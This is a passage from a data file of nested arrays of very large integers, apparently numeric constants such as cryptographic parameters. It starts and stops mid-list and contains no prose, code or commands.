10794363876242496493056514241818489263621892337507260377491447000749273412328, 42864694150656191501081577413354794254479902901942479044699351227848580561540, 44869582684908288048625850667227155806232334322901148640825194143644734886091, 61582338755802621195507717285622933423506531770747301773025675637252824919266, 66534029630000060985885252665816935272390600959445212263031875726983770792676], [55811529961714484763614530346110074181993349268716116068853697152678105385219, 69459743235003742084951751798688110199510536372970581215631504745083480993109, 69970406903939730203114079453172632755868720029424095967304680543405375796340, 10218471572304454774875063512335613976418743618312044930700502223584361496743, 7780220483623954188400750546467968145425186275162525923399676037545846968616, 85529474295042234892544559438013145461031900646244790991019178873771163355363, 18543555080702369022304943476295091470107523830670690916830984628454142458228, 55659025994473337155320814357402965506594792549619630404209078802668165665314, 465398012613809359787019785394960135251319429806963772964407829142985602110, 84195489946590297725039006709356359860521553357988803568250101756962011688200, 59937306111657117751325121791263120524736439008359128999848190059737526891159, 29518772498292775537456777002643971276491229716374990883143482112752377827047, 29541113348166289289938272968384306413949984895744097675665473925713322901300, 74850568654015303485534640840208985686452925219457838682750687001678151657451, 98372311966044028991740808679101116064488668949495119445757288623703924483948, 80490921293142936345631417552336135265445140102255794662160581371282124282584, 77802790168633605730506943139362532966876033149378769856112515227946222422075, 73957395908704397312814818164417252648944826353176345839514719788012084506094, 114072956111744909367903364975839107075723145214556579043857868810422771833674, 45521520699204422231897795850375796443165604980225383336052383471648160883648, 107300952778999563107882122670012509914894262000851566730827062558243122067544, 57237551444974747302587818872797042715499422422480464094867890464669663836580, 91572349171281257203128544012171573487589353475595648642456408074630694819694, 53611154187072552971945272654952080062038186596386895019989573482405479632146, 56060810410139446143948655381185204872955461665477197456210709485076920026167, 58212489644717736972209029019920074033438874379473106975039774873944210799279, 95472783371447559055875069788146885668654705258759551306133902642477526655044, 17266491055794877516209231901808274033994417048205065698723515019278708008626, 107566277941841120282155284943319719384897772857266517159375431264111210943162, 91291940780894021046332456275217773590218986867711237095859115487094306702740, 88762746078084613213723133249234286902707623288793925524839959839463305324247, 74661695784247123196254591420132643824055342082749863040344254721434500138958, 48009629807308380740870316981773986983632563009680453352017905027142591861830, 100812087334133121293268897182461904904212734137293403887673293625445653653915, 43194798856923755789601860119394143521690411973293732026619617998763168660799, 47124597846220141513071884685171522223222712430179467513758743053622220547385, 66427382664390320072261511768206420703931691931156641677640777943546712715436, 48656363534588948602003203029957581687043591342605283125623435686610855257418, 68875297210935977081914125828107882999257111779299938423463125682888215627752, 19318053255177694035870881062769010603815200652869532168819695437831651143428, 56324082806726105819361157300109987292522253012850225187751747788077642374565, 2597780193348402126025551031754146327110630865358330939825851362669547359926, 73632417890024518376221383222807007427224056552543202512302210902089164961606, 78599988913522978361344928765923929951198471986529089531963766737105359598950], [59487757979516955800674170875600921463289290598538420608363052446420548439536, 100862963934334949147309713495721696775748285607518980728540445939339191118203, 39545512144906843826893630627092343867629070031421554897583421048874366348611, 92014452075598418781330684147411805016894290010617697446342338096036148668748, 83868295819705315808550287123245350785470394882182567673887573129642175108655, 23193416203125345736174678086186185467365940512019136890910375565696736957261, 79519254855389369862096434064515482752642515641700536959793750113057531955089, 52297569249310552949692283309684247393781507235844251157496440763477683814391, 69346945920869397143889269607346398138786950096254603876147516443047974824826, 27192370007948166687509380019995126996623306101675554973288445891103834994854, 101863560199384624159495744624747343472498451376876913779623080141014459649539, 70164772209310168010760879501719461660405291481283928803913882562292012668403, 94283684324507387213496254466258315716737776886892830708723026653363016331869, 76533553180615380503793488093419288592194338825787020833221566559511011556433, 67437214166155253946134950816375861964475601343111766477115424463115632716786, 86033369326599316772720931898025373035408400710345155116837320140289263594741, 5351057526935854899689103823018863623636903715139475695153140259087909255242, 44439433598733947948019078937017531682101479849970744609564979659708995410444, 90010926567771722243307566967384082210114129465957174390154387266226130457470, 31650304649983821001552341711639511312004183218779459834771480072620918584178, 47470939206566171924639541952400091410320913856372383601690677375996950234314, 64213519547532675083718106695943203409714604086022473711491867038873052443277, 67543635985826565132000299391325962825431958234049533764893510926147808295774, 89846128367731825911570533305344694997161758196586829816524491796243902167137, 14146990957113296554033645641366368934452795069377669698602313481800871981921, 102683402371591318703492495467391117030363609748497188191570263480854032059413, 65686511485344467481718412845368385442386443697382169525615205182621790490964, 26070373821937640413114409928997982465109324077006647864334877076872429098585, 105788623441214440021772539986502170286880373695326559966952267979382560663684, 31606359212272217078243686858688754452437744307890233932221397979913356063544, 18708683205756379061366910164916655635075346526422396753946689180005209274199, 62129011295673915385116448674151502177536767971411940672142045349925037485680, 98972212629743643871858686775212426078294180707978926028720689956753476610595, 57269323622344487305677968807214045254920112182149884174278867087102052306069, 52523292582536617548984006648567340084625167881410542361765651622692487217859, 55230466722763602625423807493208272700380719999701127500447414107720301977799, 5597969062364075865302621679829322469741618195752875243514112899504450990410, 39206199990084673324312068584381514210443015208266820222286346901104683352106, 96577423322748956407091980786415558832583404821644496439046273897091010731237, 85825582238874561824505025370116946426848072903293527038869192758132318901822, 6220255392583156723331041126565614231670763491159648764909461882691039090574, 66414883110046401257409900561023170062487452552012500152481435307051844271827, 78680446046336602127046024260389583046755979173082304618098841423717337052288, 65829472031221176101830606627169967127372417759025691278730600389038413968962], [669152624266343300415839562164576297198890321709477885156275214185125862469, 61090902938820054954555864258756286195127826880079424993110228497608428725861, 80418640192386975893562011469932299126341079700505090070813768256701664091040, 103146833843216240564157974336412762321678245557889862541153513186643206734093, 83415118692469550440132078319295189778757723260315489014978237836639759925746, 86925974720844584993856801850498290624296560941090140722047723542218443105948, 107872641185971255099942985511200075361057650285838351999741649344692410752762, 2361244910670397441699466439064257245700140628883307179905144620586122466881, 113556801431747224515501310210452659001002830881638740775504016333966174928044, 56131953546979438657502690358570953976518684485390966910767779580749757676734, 46563671218889841006631286007508839079388657855713699983360534629251539040124, 62691172657030177274559391463443351384249900659492763009463704377600456176762, 34484397509178962464742128024699947829762670568768048727136043908277602062546, 88085405299099792984455443217404022390311985829197856171887599382450902794784, 88442173616023053234222385152309227636571652504574393456681913920936300623092, 30671170792917649356004105171689235958008203717715499873346912906381586644442, 22786416121099547961819504904321223952522341695197040195810495755188293059217, 40186488422954290206654131329784768989073238438809558880874481901367574031563, 33458262621166932559123909943617389265097586691315480554837241648771962020233, 82559411586802195517988321867607675773195790201830585638979574687519999981927, 94742127271552534674074796450631983534235692231704472278977034604013652957985, 9684852519923673221053489397008713032785187619188728665618635225187376219077, 115670929472400249496660436348064225979487676827749024622878493584843072667971, 105165545310711758189515751559481772972089801631828264104698305264052746570140, 110096699123667065801632679777116032905047288142767034602575239868387941847089, 29714521485085248329679477443622725703063119725030707242252398225956923588674, 31689801513135573863624442692922654358096314249152426916942431757401643523467, 86751715148163967679920308060285984730300395646804230494105623309948971768734, 77596873276758392680495608401300259912095690785684865671696285054787103110012, 109835335708031291954765528149504865535898120753911353227129225822121874040079, 23666136699690034796756309340390312194421723502160089109072143305536888943961, 15294086498350828966259273258582294845170440433738222681112997026366876049452, 105108136905354524871035472531421024572438515323979682894673899519780175695487, 114022966499276885879400432297818160532856450000968212427904585626512348992674, 63230015417341284835638007074261170909566412981189144471459005630455611669560, 65964176973350704439014137470763499258398765401685705739661895485594048762113, 111787809802269155429150276928973628295323104331393258160863703326879739638147, 99213394068586621638904902801307701451348456774829749569840331842954927601509, 10006360682278665542915922760770062958151315356450591921520748482689259653198, 41210323651576984416249538093581643680751957253692029677635673101813867176257, 76152243000679778967946594165940431437041426885477551704656603483260669469586, 101338865554818540456312030001371205099911251321910902246922836860977605958701, 30498019015389093892760305852173660876367919274855967301764640314567896926201, 25957081147688245959068197743676482717288968995178851495181054743495936125852], [114065253925254583179206518489896581108032477717369040899505302083959356746333, 71380346373197067617515946812807915244269871133496526584642061544775855870550, 45439920650171964784512640847948006467947326524679095003947961385317384579748, 15458492259740485621046476658175014252540058403560623170142752960926612391046, 30656491353090619478824348436192233396933858849387795351399540778169365955561, 60057565511790469945146861205432120356135363970689107919118331382837886915689, 92572729549117365482028415742982421839697075501420967397322389090852830080368, 110923676854448476144038405395093763224848110873526786886787848421340131701292, 43641274570808273599844753788039144858386089423900149543521058240011650393551, 12300890120532930420880539521060186638857333035080779124736023531807665225119, 16061298890668036948210039399061023982102989389089260459272784884120682872111, 45669976121003059340588086134634006415857355096739470055699705359983386220684, 80243001717845329448203937146373221774897438998599016881990574759170889904868, 37982936396500837023704285927980110620280316714920099944542960237908941878679, 56157104354087991210110520925295063816660045582160239750815608328034789982637, 49846505669155084474729401190604383196573553755882251450050624811477949123899, 71742405646314435724653413222050528798794119515063521607389750295144134741884, 90423837568448736822717703602621770178380837587762883546896542578771212502638, 48425706420882387935364381680604019383573628992084438658368007297242050689541, 20889435818445622867509855959964879530220716106504083208720571569025064518253, 33849553052177266327164647898667679113448742155494245957628771538483008122265, 14217213013328111737936761305992388696972133254895873124573855740026518875743, 69289591755249196745143943602372123058755260874502391208767230667836485270301, 5652317784315801352596234255173682594349851312600411138194157626316344753205, 70580426292976979482318647570411671025799188187525139581202764048794511340508, 39007255209350109867948208757627402769772187292547267160235565103790592818991, 44064299258842540678516971850570893269807102497535840086508840242340881866009, 92322894696420567231347856520232793337035976944277417024423677862198196794956, 92935703882754552376332964755488868259483023352515471394838008802648594347865, 32450615989532339699753042589448578478172295752101214260228569081745890907490, 104399238538002770614403239705716261712701846934369984928638366015602124559974, 109846389059241560943321823229888682791002282974453480648345112270981649095687, 74692843040439046031229314799115062705191779904901379168580907165501722355658, 93870014969828057680829640317659502934720704903490577751052469082081167711364, 59394112986124527299511004719052453036675807461223035120478198063182678990759, 105290610027386563100538706294441309841442890317894170654938898035879734508954, 75583972931256245559551083726102655286439095660080234512360275007324434737725, 14514163550660806212986916391961905665162622073622133286823185142659209877531, 89861732553051489585936624774869526896294607144007970544731207556863672470790, 68714527101184571875565568973749317496222252183928227097247785821356133615349, 23412496438634280615001434523662734720682364555206926600042343996805409298668, 3310059259114443292932060465411365836176553933730753449518537149417690285434, 2815421449250495714151437555368517737373444249505676142048078141767569316112, 60051386339180626902130849148385482799363902778068394217625251158418761410300], [46467893895623133427694024643133653096273946796138137894625867517068303772790, 85496216196895938844126719636674147226311407938413339808812294528243953265861, 101538365476191081142420246599764722302670011544458711668244274958157513466054, 46566492933231948164392944272082192384270193827570424819928495542798080079459, 95807313716164735588873825191740388626687703637574169868672158677828213352563, 80450164579835840994521346397467929474872763614486492771658476252998708764370, 64425059990983800936103214464280588155467950093470534796344836682418226592337, 1844068057095966661995613658299577215937387283354270927510343612275983954697, 51545823821272050671138978728824303303743218683579939610484500229752603085478, 107690866742834059473164623947727870845916550916623092155725026260982197317282, 110149710697084506635919353746976964776003600169531446972377067487976848461643, 64399231149594640840941179996047961634957305188451089860166031345365714014299, 21749036251140170494372325744287048764457122014877214384709124738174448954578, 107791264238130883979560222901258081045368876738084774626626606763646125508194, 47054898256712144537428915889524628252189706151322233165770888575298050653927, 58829549625923101360183093681657841163532893286766515126083528771066643654621, 66336610351292058325578024576406003938076288324143678820020932061794149717586, 53735806302108518451805514103828318385158924039475067221351286912734686513501, 16310316116735655135371399928915828564599419785703902250303031663092485621063, 109736920481366637044514730016721197950945213245171275863235505740591136234714, 57433078127935589337533131867179595406755330633775969772675490457714940304020, 63850852909566655153169769353438310654283147515184280320439470328767799100494, 76575311952991707557271848459830057228856009393585606642705733121363497051119, 72798424735561627948741603919050194117953147256860523567629065401332475712128, 61218518075654058752707912664769165724439875348985232587704130745543782390336, 35803580103076810013062865545218240228690853976224092967916087772942242755269, 70559522528462491062957358956985710286087299516569297831916364105448292349037, 74026322922361260323444146924974651123806872297321260120902532080275013881660, 34761418129462254310846309843539503200772769146555847620413266175898185639373, 12703640958771657048536873670162452272584802379170770812978990442172871468841, 92419954170677849529051911811223118602496616864356096748589496890897531528330, 63188484372330267085822486769502419548939589690072505785794744438199863394475, 34118088256381301908818254857452651537503775758485983238490426420919015807754, 23172005057282580751202387194193094042494014947903940585264440856603227614271, 38303288562978823015743970352797804221265671570841738046764950077698456676348, 88214926115530180574109103114770630400176433544436668321433973230129739094401, 110718035963743887208685070530560173831914888720722138077433734094384160441052, 102711812905526478394371116160160160441340522229186480482258749129658390861638, 34870724361794071736148810069352621684952148398951049964037801197109340193030, 15202498342572228422307983023808554168020946169820899341002861077374525692037, 9603228373919223339756120423435463451307805770224277670245249022303453928301, 44366719207096950374596487892989853406821283567229291583526221148019699939086, 68378605026063099999917531933372693871060203058035805840581753981355629521907, 76535690250614847829289968878659422761849406365409621879465557438112240531107], [51466634497394654350440704268657896924972693816442655668973669644741628525772, 43919137673274144869113623387505220639278133397656454177011618161803911763865, 50420725662930901424069246259156274465076064691290917919196666606403646333214, 59235968530789022769411702011145408812130715526983132128074901504502880402425, 59806353533665067586045436728119229757660039100021121460834360084351839009813, 59839117028080167963547644961422773042286033544199175620850972880704562517765, 39336413987103678735944952247278234653944237314875501906726448895897693891179, 71984898713815098841487340997862494767529934962485248892924982262427770719741, 111083863766795941918314645640610817317568942121590829547566864757478115978459, 6176212063848891479299041420455613874912633889939061873398103465015731821592, 47795537765169360097975082774755576862809017624505704774461283068069300099665, 105911685316255900232992083557010063923169560221865579616752275528522081533495, 48545300520188273525762300692800487818436583154762212401524315900587147106688, 100034306172501729232172613904819474181509243081494324996972059784637288264245, 46702276531834343453988977569160908006914576342594300382386825034792733664334, 51786837783847853268814421670522761610292998481317749319982347471592353292672, 84542745259052252089421716979830964638035137914470233290918753252849299758356, 51509309376269820656311124842569472035103565008980615618710819104073611412895, 1065098718093966379736567869340907537567594576705787933963594182743963191227, 69009744236347796790711316619584969859688339004727716212688977764676675980025, 109893960867318899303373323346981813919865354693935694488952023594336137310693, 77232857733489387631775328018940079316947125778770488370789354730801130707475, 102394446859941858448375122232672215960841093090657258573888540674241945138680, 52299143834475415213029978781602340688072906650030094435975804972526459226871, 8442778074792290306605624854063474987068897005371233203404382165325153074972, 104307474274226457053500379142310938399594720875472249461896194349926507482223, 63558472555278344637531174723359475960913979909385102327909596819416021345258, 87066054163944080403248091258772454591910040287273468940209791314857777243875, 66590557196993520825414936602437116828782490400403879672056076834602684461391, 85486600160924143719682143958131672314291525075035793296871502774170615955352, 75390909631075321727775225754816328346479421831881695253652196322406235426187, 98701620870375542271112723689904024323270725692173944886950685043281445500665, 19790054465425307928638095276519849839462195941114135336285156397332648859345, 98447371690262941269124577617292450227730985612112376294234711994414062358094, 8336571291504431360483583419887970665839092392585348041261699326536197294712, 14505312735230841363653354096937567845108033340025899417233461809953215935506, 26477491168284588692710903059001901868083774762234422933162388165524541959632, 55938457258929215021263659584487822386364304132143617310947166454490026858876, 23432045068292616066924857092993212646867995004284721041152271168890715620691, 29681186998693380853727095931192069369586830055909259756162930663880289030010, 16807084318656366861212297596709931617195988876161395453302809236874257969320, 71069521910209527884751617658691093359373890983417207197360552095582980546742, 114211900910079327039628452718230867268156871025303525705871914234455310840933, 45450778154492817778210049092422585687779712510986292405033203186953431837782], [105519030578279794217361913796737568572511242822373822557413711617770609565176, 82098479389186150056418104864366143099658953306095352827730371090270966808001, 106648312177903183858836771545903194222218060143432824447761836540669534591172, 98513333983884594587678382385264333340577703208173380488475855491328748927471, 106024208525080116408011209073375617301042362103917195811729368453795010544594, 23004525591264246851746881631991138390222484417091612975905850638415370451932, 78792533324986726843423520605070153960489753452786758011482989693220316895327, 62472864552302720465025217865158278201832699403934143206315787863807089541691, 103276564612370689284744588561281324515884794931373528120528203324239558317436, 46549434825066097144878840918698031408128064909397599098685275823202767217423, 12458117240669206200414186900722704319454128740932889581123962697938711545432, 3260247066615381588332154432653581800940032567114415692252320074888954750788, 9344190838752185651395155914874835924970710174493020179414399580632838446871, 36036726478727803711113563291146473451335186158634835986735942704247558773014, 80998708837332711990818875675589333290759446265699515433005453077579516054043, 35339473906302044149413871109528797514352011981140624209808608419470646702047, 60678440903384693851562088710732689196368988012872917965122881408213165767801, 40471575925652200757066503841822648702033363006705145070217927744698244252534, 101542636873878479058116812586538994949520118074123446686303577796496724947900, 109624320517403804460082656053014962123884565660375421264925973719015172735439, 14263758456175256898846092521933831848162304543544551877267695365459682965639, 79993277431874977092570166754371159312544821113130906232702433355394900006319, 30289289908799556268587814366425011286075609998759417981699505614341592994242, 14777596877808779918257428344430564290812850877864882047912707752869131444809, 7100360326018234792872312703938163440729112682069940056422469833529500116772, 89206106118977002442746211964764004145091535311856868046392708231188968752744, 97263016164525824744712915393585944887791063077965711303466690029676780991389, 71618049981151074329872979309313960209411258519345320522974479083842932491020, 59013475857117650115697811919309281074078929088364201363460410077349467021795, 112900680250123145080296025874599614960687046117749991517310229600635463648686, 77998588289993419535574935950449708068904045497081164024300773959295117670248, 36702675049650166356940218452998964283951008969249481884141825292284850152362, 55569928930877832616412718861785468894651827425105314328254224199500744569955, 24173184242920480695326435424241993401993858344467120813692213713860695102049, 61001069598569665023321728374085216760526301329634128323204876262638511510914, 105579623436327775356414958722531652072393942517760591943905758840625517452643, 24142511467644657637325106332119328542694412568779027450941221184081010996754, 93469942239569974497139297910328588521015329095637210579792646041080089522396, 89114435195809383465425223409201214149472509749240005545341156408506973137005, 39033115640958773333859160601718295336629603195583050561580711335499516752499, 46355662349309824906033367266940004074304481854169376749605495110536703127520, 13054676542784619594443574690680470059285348337091056948553130763512240039299, 39273906057441261120662311104197462154788574089350177932184304106581555598995, 21886285362661155189350396173736491051782770648908644958364066722759963281750], [100481425871601522431458973335316471703464885098042875584642724937014850504269, 61886278235605897093679988019030665986323781154671446468550956000786732056178, 14185623909147396266342072218383800127115626456626548244716379251923855715500, 30985421873066947949306395413338835564104247696147093235157553642694934751264, 53947184736373056040377046578846629669909124648017621040693842407771297804320, 28063744859405030545030180992990879007835764420284511718811290531341300592431, 33350545425937237290063076401756694618034934622631942082275133623833877158986, 20597579085740326704836627642368590489878283204745019662353426632083829731401, 91302115377327236611743471920838944839217255952096117784504177156746879610013, 97677326919254292421714118406339949785951857749121713615176528838770735280843, 14319633280163313888015442603864165969077880027386710579781376072806748236741, 92744356299781642203866032386628696730817917122282938549937630141935945764241, 38612533452291015941854763085891702231175017755450815531850304635783423232689, 71106819293557759699446601160866585384457357942880152406957763415500811446258, 77862933214292857193224097013549358359326837891577843239852295534196661665256, 105520907285242216498338599570022293710132464007564617372369588388267415348403, 25122901011725726303852527424993576073594112713228747513394380429690937799281, 83892317965480542755049536041333796136181779835387886869741013461069691716785, 22993314633213543604389726083325564208369970268207115907876491842777220814128, 83634998039392943296027423260508613126468984877061089826675545642870626000443, 71534288156656241351230518398301278792011054749534367045900541999881449140648, 58499275154315470048486700915678242614273510253145763738029570122203909341140, 6305397451927948264024621670261890680858540221396509758019110555399280023121, 90549593860259488440713290695735498203134704714227986184186909864093956569353, 37998539622096320349326598151236102455301816649417832527748388045379214855000, 79989603719863448983489431327917436563671215512273543049718026028019486317548, 55948240374109896087772637997588137984356239809433124962375323263894809059787, 23181552808797023354665820326627264089053492617553778853942321182187520431358, 90785556635602117522496676989686263137599617268701283961429293160062274694280, 31020682658150994778022816029106888957835709703360444961769845900709234122747, 73373064158574684401723292964000759600795284806760483756128201893438456578702, 8981125303611752308633999137816590952950789017974763384666389554488936722133, 27262018872431172237394514663845447635536017640392633126987246473361442488704, 87624961341834886523656925286362074618773947264945999244521189849374558165732, 114086941675972802426920042949836107312577841493787503480638023202063745313090, 85146669275521858178577305951474512010600896197309240273034267619975923745446, 20646664186534476448082620900225520190020696149178341781528460547096148576581, 87531805563393171614887762838643463097674673345353248585471060807324293167522, 4742496981781208214031295532223910691832659478429542309791080467764898890634, 4772795359343610965878717266973533897745537712820667352011104719987043940003, 86051682661932676825527600855950601839424512067329714484006132663081352665593, 13873611000165689007829255787734831466698176000448881773587357584704690546024, 84498388901753444293946984493903841531025863217828343095061358454512729748796, 76943083987439192177374579130850889824592110843629604136750558540609153038766], [111252996393413169812174348222940142085041031459044681350110097935897574703343, 19973410929749007776129704684668649327107453256850728190902445402299385353169, 4104091496427277973772534942916102533729904541559991480714172005028181925471, 83818110184314300423413433250047327533981850498252364472796051999791035979737, 59863166522781028549331920091518866237790373626211830995907514998347310732132, 104978128525730174966058246748428718552525719338192422122940276760169546763166, 112750539998314151651942032199318105283555417580638786542955047497751154067114, 9442327948414084996903450201006267210245528424402353689447352726829575971311, 111815472394051747187497776392268873747088095492423086236193717204136145187487, 60967469826649317256304991317556614650193593439539890107233522277471922648962, 73820691909788253152784913877498810479574196015120062284246148298075964706028, 36767874135631388067874395939131686782547999181986627285044975356866826969019, 107381924490463305125606659192524190612045037689715104457422825621987377473507, 78655713622681453545104980792250857557607521546382703584375497688550750256527, 20759512044707871663094545237462486048365015935778639978899596743065865791646, 73059594524120296365100723539165774916665708791629970160440000964269651113137, 29870031641678546867102040035604643513307679348166595412871797305430833047472, 24537939162850327368413721259967494223959744763220392313479220364378138241245, 100621352706045356216917570038082953671397969008254621541364994434352586574934, 62220551391314771394271555829251839663963337557664282035661022734383631675420, 62439466659078811034001323799113807561441421498623993697432693874600413015754, 90168564162015340777648971078734095708401557120563378807108406961193310782250, 104164110185592922488067369269864609334778249906724055183592857786920733347522, 93653481484575617574265271548965595728678036468876601487814275701543098785060, 43584944481370813673290820830119296145547617777886358644419641225090897815982, 17976490052888538963484180680820157081718675619569594919377418284921640948751, 63005597509238745144778437116072896500753001872716895563036677502487996088144, 1098001427548302314350316496145111441334699693616529626698974273425029492154, 46305531773976157574502757156815586818149726211731065433562841576706962278465, 68351418547732186728044302660282186039745746390140696977368993400043918694456, 113797224580599000394954499458827639263204277731960081812082531227511445319482, 25845834259466539195437187350137706968649925071773945682003452020642459216455, 54091638412388927661547251802764967073726004306941403519657950132133019298892, 62107423176552285978590787893508859650718296054876685512994096945961028222508, 66877477733045353359919710429163718214326552352865936693568910527562122293534, 70305738466756787155326538734999175151019036398852713735030919709800167692032, 5435960420141609455853590941945893493500694429135906254514719033454500817171, 85679958386028356359713259041291688248653580268255573329853286585146997068310, 3732581316155222808516092505402961654089909852482203036528049523337912158729, 4791749105441479474545180529929451398701828117599374902034089755609714577762, 25966718701335860265434104002364835611685097398190021988052197630161304025074, 91959486019663117557912853647449137521926923249706930696861781060478615552880, 100147751195498994047669238867890487432128552431890732487296179989116439037036, 93679936308901860878581896912815679577867316931429456649586988994016273447172], [105714480419073021644869379225102429015808247880480958632224865842960012175556, 32520401566413292118950199941226258977004917400369801194375500975291415804043, 48800253523279610263904065268759633362997255712964840315550782251141733983217, 108114312054492405498086588925259288024458484794075467978907427578401656625650, 45998153208359070717009852707338280472274042531742067095834667488341171130552, 56379186158705706667034577009163329436409281305519836798492273267956092488880, 42665766292631148468389957154125020532895757501382440764866061181853328217450, 15399711296897117120176734729776315806175516308277783797325007948726150513640, 5699951361154178130188702328564320442556025583226307980706204678367274224546, 96958424417974117966602384687769800275836172618142233610269349015389071154877, 67482190396019714164167559799849174856297849406266736771323730198637724233916, 48913612679860247288007629735853424030653531335326792316842427254242494168231, 26768496199072243643639296097688299392649578529208448900986660066914485068827, 90096479625719404257733775946352347678888905315903491883654454824592199198241, 1980734066668864591526692032987328600857265953303277670068229441137762867460, 78511424557169982443035401144542433112358318869206040107997023221929558632920, 100330029206645108073872940180957542776291043406637020279927532269240608345350, 50681802113229832725593987330408297632273349604380480155855731628280761723121, 50621666569640232065951097748814333169334161275659701168220594431454755654920, 788757846242459702855648516881221301606830847426219751736361184130978151579, 111652799477500327133566866501937558207646338129238027541112105394853187464430, 40310446118881704932920985016978414747411074282572513705604497562371945123964, 26231088338994947768774385432007978195995595177599871033980612244847634162163, 103971970473848195608173097052384905911033794410724685173420542530754489585671, 14700811008018433787646512705557855007002223134035393313879876706387973604578, 26142937345315435416277214762552203812954644849711256026917609845507596722452, 93234593144271034325055541929649091210409901342607071598662288694081393108143, 40020881434942429454634140681372101755180282902142567874240111326323136594575, 42975605198880433288871624419593027292542595148289243571062460227913162748706, 53470254956553715962343375458683401599026795504077890348828356485147815431839, 81286327225371985148159254964680642835236497243295225784072179068172586991118, 93651710094191461765713935436707829005215976068820796828633681301027614716528, 91451452363938947184147832303132406852360717862686072835565393919181221628748, 3648337587634150053164278492904577582467159453201295229046307350861669096964, 30990532712381567315794617313664022056489720799889156512876145960654934526417, 115268959663146555370471001749830072474640440055047728500122216878885612331840, 17760383972232020693656511084997704708465368617836956305369611039808736768085, 50017997652537495248648762218900142072727527092601305931789446750700571552050, 97517956631978201549509951551188119650049915462531647930969270974255854733267, 108376100496001454125553360321108790597476746847043395411582363345082661866304, 66114927954605421201286285051260264410347528109604620258273113412409682377997, 105305436285995047908728878707405908062328709943729001531255696500630641786434, 1770659867504765865364054330692718970632120134664549346853432388913251631083, 50872469145289364079595776841954364052088473946977081705494423253129928546179], [85186030676727569806345893811361868799658757655370590799294034830518111438603, 43598058631629476670325067941521177161276517338189149447167375186863497994361, 111414366468102877620088681064939978008361535532891508355003682989629945243389, 81538470407362505641723652582149041136807813016588797869787366160203314986295, 97151069865837006851598556617270352273507437960644029746492092887411385810552, 73570187156097275651554646889294199510352174831140351702209001520730474015525, 26873165431011677993098326869628416709501447855385865074606341817380114792952, 10180297231315290900532252485266743202943767241383662878615705429148673249235, 13203100440151906010955636864569459701154413464116361882731604238731698060210, 59127244591678958436315234137358691717567069517189597313401170439624371482298, 25176648536523758164392400707546685522539181842166576805244719986232256396906, 68904428547063926129254835384200129894380194468230155558579519658618412102000, 29979485408911954403687329327358597878598645297091853951484137377401639509506, 55193263278059847709020989261146119787705162362062455864756199758912312976214, 98848951789217353882365854013003778890125931547897235836208353983494286744123, 28360520311296779333132936661282075392356595974455947380208161573703611421368, 15541665340602517096311085227235247229041876611953754615560544724153670520425, 61088845124189335113445439679009984769567862893136258957383968867261991111545, 80399677764680740531518809935751790394377198352243869500739564534851748711830, 84822707192262482860051765267760732968663635576132250398900562558900137587633, 54983467585277866805477366759188091259747701016179309727867989085847012834964, 82142985834651669699259766492559440525033230810472830197037005238119626498938, 76582472110532802509097475499937779720310547227590403784421703053685909068780, 8709585381371111194547280492044819740310378974615159309216432755477925080152, 114520865239400985432873888330483586399252219699801813806552534732296582700459, 49399795388761726194578567654879682089126088652919296255460077918252515820093, 15751736452518530947611288339221299998445830531803052193495500674239521896392, 88041499968863436225511312338657821133528629633766263667568632357425204372451, 6762472007512887863810788919644749757481302856280404107208257880472955411306, 43540407562089967888970922364827382108051308799505843183332055604602961022830, 65454509612336058747485562088649586527998802333357203733985209221673101628604, 91400230943939025376468924261865240012397485506411745004957255514956214241778, 87135944409257645467322723269693797148094607734532526795682575603339885699504, 113675913172722743514158140210267597285631352638371142044358016742208900115123, 77459015975125548351345420001985224848971766490158082240367959426115460782500, 5387501185961937879808702379002435016555216455250224943208044090135678382139, 77772265740910049419464327658152128943369612798093823962052842065458246719649, 82371385780730326762484183032299966483409151449409630971549690546522204844594, 11279567110711396980794118661702406321260502320657565768759726823023691652303, 68914781930786697665096896148884971171611002315446995409816358724133616468764, 68945707888071812074534102190015450561118748548681538912693889829732512713074, 100894240460455149066527515496849211421392852700894836849581800517609780251683, 93834932571379181452468146783690887610379362501256697226380505561179842909299, 97032294702639318491801719850449733456965626899717874728315643174700061466126], [104758780258526072436141931284776194568339380898705823685483887880581300341556, 96136405864528263789046535487666865518727458847445827638242984664467045740203, 110229240389884881228317531681768593790203413412537220813598136070320762029875, 60285635266729627627901034124836246253561615799468198748955830485855270206738, 33870356145270516645109209923626537431475794146026589557538631647324374834590, 45250544588327097085619934641720740162776630539461808307237366561803708106552, 78019802771144565678313722232506235535857247674106684906741208829833759443986, 55024902014504062179973648443656207257775224639132254665461332501948234584558, 41158890898094505299196403559177597480214896136602700546006553562556491041843, 1582771204885969732040639382864734213814864401800080788409433165356840472783, 102360056980878748247787683086941654254277723973875481656729162060476973088271, 83101929460977470996377971891415190022137284266692251396035460179921369968090, 49483163517672552981660707312316349971685925052417714194103328456745679971097, 86458871584229306950820033013316690977940321996841520283339030586764446203102, 113151740855754185804041937093485498890861375984646714253281130886142060258092, 79888352084977423173624203394797707594505175775450842691353762113158702215387, 27271534791233330492625713370902824879427536399871808146417206666132027290094, 89513525716286313787667404858050671877304193888394188902774424291979631758296, 84176279264108198747420607060151796271732928585635782426710310622118655207202, 11559104333141469675913560068316680435692322289637176251065002904427696890691, 44248252814773488944877075063477608517483865384326763431600302366539185943054, 107589565851352285336904110893776888911825438560592798598750105445898032732143, 57635563940198386338079460529673478027061310614827866239654882241801498147076, 69730450960717374456705374464842227626026346817062988089376405870327576330941, 102374854835841904982128708386861637931571201362410440517610789852815500088234, 34941256090858159491834934778461672694548451897959721508583516237680486847562, 32414623250157770087651893637855227327411358074266621255030159837226750905171, 47289185371016353391618262941127583253690016213072756173272407503623389296248, 90378770659963695094433034328740942206057814782212771399178773826357991091293, 79837837691171711139375320669686100223124981857498137855557171428750105226531, 44414660822553108960363700124600862056060453163085247270979946585801554015649, 89277469021330538350836333244744345884878608835933575965880366750793751919053, 37808114994441729347443594141244313187940949346817698450501108671740134811646, 25706251331091744888159107320184512808687844127700926368681172125963678386694, 95767191131292789990629088996635591151596477413353638153340086489471011878405, 95882700644635341168385510688803052660388397254991936495355061569210538346197, 45621598780838345268906827815522744333499734589074297506230338854352448155899, 34419607605081988546408925888749670532547006240847302566042568474954172841721, 106052312756096369458307524279120368903804894947861240165681203702782737112621, 35250366268718738064079636178613837531274278661572338451319696546018176733346, 92364020225341664760827088204060458733245065745912756127723412087306934510328, 100295375192577977611976360968928802905797599124790280460166880959675855916634, 11825977032762374872289446403730282904624277584479587524597949605929954673560, 41485458255858893665624966623656713218990113242460876322270903678263629540887], [33949048901797554971554959719411595557185247083045398566140161710089605492149, 111980891640370092135570986582917060254606334110249213926305930022013319871966, 